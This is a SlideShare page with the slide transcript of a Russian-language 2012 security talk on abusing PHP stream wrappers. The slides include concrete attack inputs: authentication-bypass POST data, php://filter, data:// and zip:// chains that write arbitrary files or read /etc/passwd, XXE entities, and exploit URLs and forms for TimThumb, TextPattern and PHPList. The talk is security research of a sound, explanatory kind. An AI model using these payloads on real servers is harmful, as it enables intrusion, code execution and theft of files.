Your SlideShare is downloading. ×
О безопасном использовании PHP wrappers
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×

Introducing the official SlideShare app

Stunning, full-screen experience for iPhone and Android

Text the download link to your phone

Standard text messaging rates apply

О безопасном использовании PHP wrappers

4,924
views

Published on

Published in: Technology

0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
4,924
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
36
Comments
0
Likes
1
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. PHP Wrappers Алексей Москвин Positive Technologies May 2012
  • 2. Потоки Streams
  • 3. Чтение данных. Wrappers$handle = fopen($file, "rb");while (!feof($handle)) { $contents .= fread($handle, 8192); }fclose($handle);Можно получать данные, не только из локальных файлов!$file = ftp://user:password@10.0.0.1/pub/file.txt;$file = „http://127.0.0.1/server-status‟;$file = „php://fd/XXX‟;$file = „expect://ls‟;
  • 4. Запись данных. Чтение файлов.copy (/etc/passwd , php://output);file_put_contents(„php://output, file_get_contents(/etc/hosts)); Преобразовываем файл, перед записью на диск.move_uploaded_file($_FILES[“attach”]["tmp_name"], “php://filter/string.rot13/resource=./upload/user_attach”); Записываем данные в Apache error_log (PHP >= 5.3.6)error_log („Bypass root perm!‟, 3, „php://fd/2‟);
  • 5. Wrapper zip:// Требования: PHP скомпилирован с поддержкой zip. Обертку zip:// можно использовать при allow_url_fopen = Off. Враппер zip://, позволяет получить доступ к файлам внутри архива,имя архива может быть произвольным.$zip = new ZipArchive;if ($zip->open(/tmp/any_name_zip_arxiv,1) ) { $zip->addFromString( /my/header.html, <?php print_r(ini_get_all());„ ); }$zip->close();print file_get_contents(zip:///tmp/any_name_zip_arxiv#/my/header.html);
  • 6. Замена NULL байта. $s = $_POST[„path‟]; include $s.‟/header.html‟; Использование врапперов: http:// ftp:// data:// ограничивается директивойallow_url_include. Использование NULL байта, при инклюде локальных файлов, ограничиваетсядирективой magic_quotes_gpc. Если есть возможность создать zip-архив, можно использовать обертку zip://path=zip:///tmp/any_name_zip_arxiv#/my Этот подход даст результат при allow_url_fopen=Off и при magic_quotes_gpc = On Имя архива может быть произвольным, это дает возможность использоватьвременные файлы, которые создаются, при загрузке контента.Путь до временного файла можно узнать из phpinfo():https://rdot.org/forum/showthread.php?t=1134
  • 7. Wrapper data:// (RFC 2397) Согласно RFC 2379 обертка data:// допускает более развернутый синтаксис: dataurl := "data:" [ mediatype ] [ ";base64" ] "," datamediatype := [ type "/" subtype ] *( ";" parameter ) data := *urlcharparameter := attribute "=" value Особенность враппера: mediatype может либо полностью отсутствовать, либобыть заполнен произвольными значениями:data://anytype/anysubtype;myattr!=V@l!;youattr?=Op$;base64
  • 8. Trick: function stream_get_meta_dataМанипулирование элементами массива, возвращаемого stream_get_meta_data $password = secret; $file = $_POST[file]; $fp = fopen( $file, r); extract(stream_get_meta_data($fp)); if ( $mediatype === text/plain) { ... } if ( $_COOKIE[admin] === $password) { ... }Перезаписываем переменную $passwordPOST DATA: file=data://text/plain;password=mysecret;base64,Обходим авторизацию: Cookie: admin=mysecret
  • 9. Враппер compress.zlib://применение compress.zlib://, не изменяет содержимое обычных файловreadfile(compress.zlib:///etc/hosts);в пути до локального файла, могут быть указаны, не существующиекаталоги $url = compress.zlib:///http://../etc/hosts; if (preg_match(/http:///, $url) == true) { echo "Yes!"; }
  • 10. Any Data in parse_url Функция parse_url, может обрабатывать не только URL, но и строкидовольно общего вида.$url_info = parse_url($_POST[„src‟]);if ($url_info[host] === img.youtube.com) { $name = str_replace(/, , substr($url_info[path], 4)); copy( $src, ./.$name ); } Загрузка изображений с img.youtube.com:POST DATA: src=http://img.youtube.com/vi/Uvwfxki7ex4/0.jpg Обход проверки на имя хоста, и создание произвольных файлов:POST DATA: src=data://img.youtube.com/aaamy.php?;base64,SSBsb3ZlIFBIUAo Копирование локальных файлов:POST DATA: src=compress.zlib://img.youtube.com/../path/to/local/file;
  • 11. Bypass preg_match validate Обход фильтра на основе preg_matchPOST DATA: src=data://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAoPOST DATA: src=compress.zlib://youtube.com/../http://?/../../path/to/local/filefunction validate_url ($url) { $pattern = "/b(?:(?:https?)://|www.)[-a-z0-9+&@#/%?=~_|!:,.;]*[-a-z0-9+&@#/%=~_|]/i"; return preg_match ($pattern, $url); }$src = $_POST[src];if (!validate_url ($src)) display_error (invalid url);
  • 12. Загрузка произвольных файлов в TimThumb TimThumb – популярный скрипт для ресайза изображений.Public Exploit for v 1.32 (08/2011): http://www.exploit-db.com/exploits/17602New Wrappers Exploit for v1.34 (revision 145)function check_external ($src) { ………………… if (!validate_url ($src)) display_error (invalid url); $url_info = parse_url ($src); ................... if ($url_info[host] == www.youtube.com || …) parse_str($url_info[query]); .................. $fh = fopen($local_filepath, „w‟); $ch = curl_init($src); ………………….. $files_infos = getimagesize ($local_filepath); if (empty($file_infos[„mime‟]) || …..) unlink($local_filepath); ………………………………http://www.youtube.com/?local_filepath=php://filter/resource%3D./path/to/.php&url_info[host]=img.youtube.com&src=http://mysite.com/thumb.txt
  • 13. Манипуляции с файлами в TimThumb v1.35Требования: Функция curl_init отключена на атакуемом сервере.………………… if (!$img = file_get_contents ($src)) { display_error (error....); } if (file_put_contents ($local_filepath, $img) == FALSE) { display_error (error.....); }…………………Создание файлов с произвольным содержимым:data://img.youtube.com/e;charset=http://w?&var=;base64,SSBsb3ZIIFBIUAo«Чтение» локальных файлов:compress.zlib://youtube.com/../http://?/../../path/to/local/file
  • 14. Скрытый потенциал враппера php://filter php://filter – позволяет применять фильтры к потоку во время открытия.Обрабатываем содержимое файла фильтрами:readfile(php://filter/read=string.toupper|anyfilter|string.rot13/resource=./file.php); Использование неопределенного фильтра, не влияет на обработкуданных другими фильтрами. Фильтры convert.base64-decode и string.strip_tags могут удалить частьданных из потока. В 2009 году Стефан Эссер использовал особенность фильтра convert.base64-decode вэксплойте для Piwik:http://sektioneins.de/en/advisories/advisory-032009-piwik-cookie-unserialize-vulnerability С 2009 года остались не раскрыты два важных вопроса: Каким образом уничтожать «ненужные» данные? Какие возможности дает применения фильтров?
  • 15. Алгоритм Base64: кодирование Алгоритм Base64 описан в RFC 2045 раздел 6.8. Алфавит Base64:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
  • 16. Алгоритм Base64: декодирование. При декодировании, во входящей строке символы не из алфавитаBase64 игнорируются. Входящая строка разбивается на части по 4 символа,каждая часть обрабатывается отдельно.
  • 17. Пример "выдавливания" стопера. Применяя base64_decode к строке несколько раз, можно удалить частьданных.$content = "; <? die; ?>n";$content .= "[/Ly8vVTFOQ1RXSXpXbXhKUmtKSlZVRTlQUT09]n";$file = php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode /resource=./PoC;file_put_contents($file, $content); “Заглушка”: /Ly8v ( base64_decode(Ly8v) == ///‟ ) Фильтр convert.base64-decode не обрабатывает строки содержащие всередине знаки равенства.$s = php://filter/read=convert.base64-decode/resource=data:,dGVzdA==CRAP;var_dump(file_get_contents($s)); // print: string(0) ""
  • 18. Фильтр string.strip_tags Процесс "выдавливания" можно ускорить с помощью фильтра string.strip_tags $content = "; <? die; ?>n"; $content .= "=3C=3Fprint(PHP);n"; $file = php://filter/write=string.strip_tags|convert.quoted-printable-decode/resource=./PoC;$quoted_printable_lt = $content); file_put_contents($file, =.strtoupper(dechex(ord(<))); // =3C Фильтр convert.quoted-printable-decode, обрабатывает строку посимвольно. Символы в формате Quoted-Printable ( RFC2045 раздел 6.7 ), преобразуются в символы 8битной кодовой таблицы. Преобразование в формат Quoted-Printable. $quoted_printable_lt = =.strtoupper(dechex(ord(<))); Фильтр convert.quoted-printable-decode, не даст ожидаемого результата, если в строкесодержится знак равенства, после которого нет шестнацетиричного кода символа.$s = php://filter/read=convert.quoted-printable-decode/resource=data:,dGVz=CRAP;var_dump(file_get_contents($s)); // print: string(0) ""
  • 19. TextPattern: Upload Arbitrary Files (I) Данные об авторах комментариев сохраняются в файл с расширением .php $file = $prefs[tempdir].DS.evaluator_trace.php; if (!file_exists($file)) { $fp = fopen($file, wb); if ($fp) fwrite($fp, "<?php return; ?>n". "This trace-file tracks saved comments. (created ".Пп safe_strftime($prefs[archive_dateformat],time()).")n". "Format is: Type; Probability; Message “ . “(Type can be -1 => spam, 0 => moderate, 1 => visible)nn");
  • 20. TextPattern: Upload Arbitrary Files (I)
  • 21. Обход проверки getimagesize (I) С помощью фильтров можно удалять не только “стоперы”, например можномодифицировать содержимое изображения, после того как оно прошло проверкуна основе функции getimagesize.Если в EXIF изображения внедрить данные
  • 22. Обход проверки getimagesize (II)extract($_REQUEST);…..include $templatedir./header.html;.....if (!empty($_FILES) ) { $file_info = getimagesize($_FILES[image][tmp_name]); if($file_info[mime] == image/jpeg) { if ( move_uploaded_file( $_FILES[image][tmp_name], $folder./avatar.jpg) )...... Загружаем изображение, но на сервере сохраняется zip-архив,содержащий файл /my/header.htmlfolder=php://filter/write=string.strip_tags|convert.base64-decode/resource=/tmp/ Инклюдим файл внутри zip-архиваtemplatedir=zip:///tmp/avatar.jpg#/my
  • 23. Файлы с произвольным содержимым Создание файлов с произвольным содержимым дает возможность: создать файл сессии и реализовать unserialize bug через session_start() создать zip архив и проэксплуатировать RFI cоздать/перезаписать файлы htaccess/htpasswd создать или перезапись шаблоны.
  • 24. parse_ini_file atack Функция parse_ini_file обрабатывает только локальные файлы.session_start();$_SESSION[admin] = $_POST[name];.......$var = parse_ini_file($inifile);require $var[require]; Создаем файл сессии /tmp/sess_dffdsdf24gssdgsd90admin|s:68:"Ly8vVnpOYWFHTnNNRXRqYlZaNFpGZHNlVnBVTUdsTU1sWXdXWGs1YjJJelRqQmplVWs5" Используя фильтры преобразуем файл сессии в формат, доступныйфункции parse_ini_filephp://filter/read=convert.base64-decode|convert.base64-decode| convert.base64-decode/resource= /tmp/sess_dffdsdf24gssdgsd90
  • 25. XXE Atack Чтение файлов за счет внедрения внешней сущности в XML.<?xml version=1.0?><!DOCTYPE scan [ <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/server-status"> ]><scan>&test;</scan> Функция simplexml_load_file и метод DOMDocument::load поддерживают врапперы.
  • 26. Частичное чтение файлов в PHPList <= 2.10.13 (I) Причиной уязвимости, является возможность изменять структуру массива $_FILEShttp://isisblogs.poly.edu/2011/08/11/php-not-properly-checking-params/if (is_array($_FILES)) { ## only avatars are files foreach ($_FILES[attribute][name] as $key => $val) { if (!empty($_FILES[attribute][name][$key])) { $tmpnam = $_FILES[attribute][tmp_name][$key]; $size = $_FILES[attribute][size][$key]; if ($size < MAX_AVATAR_SIZE) { $avatar = file_get_contents($tmpnam); Sql_Query(sprintf(replace into %s (userid,attributeid,value)values(%d,%d,"%s"),$tables["user_attribute"],$id,$key,base64_encode($avatar))); С помощью следующей HTML формы возможно загружать файлы в базу данных.<form action="http://localhost/lists/admin/?page=user&id=1" method="POST”enctype="multipart/form-data" ><input type="file" name="attribute[tmp_name]["><input type="file" name="attribute[size]["><input type="file" name="attribute[[tmp_name]"><input type="file" name="attribute[name]["><input name="change" value="Save Changes" type="submit"></form>
  • 27. Частичное чтение файлов в PHPList <= 2.10.13 (II)
  • 28. Ограничения использования врапперов. При установленном Suhosin-е, по умолчанию невозможно использоватьврапперы в инклюдах. (даже при allow_url_include = On). Например, обертка zip:// становиться доступной, только после добавления вwhitelist: suhosin.executor.include.whitelist = “zip” Функции file_exists, is_file, filesize возвращают FALSE, если в качествеимени файла используются врапперы: php://filter, zip://, data://.
  • 29. Спасибо за внимание! Вопросы?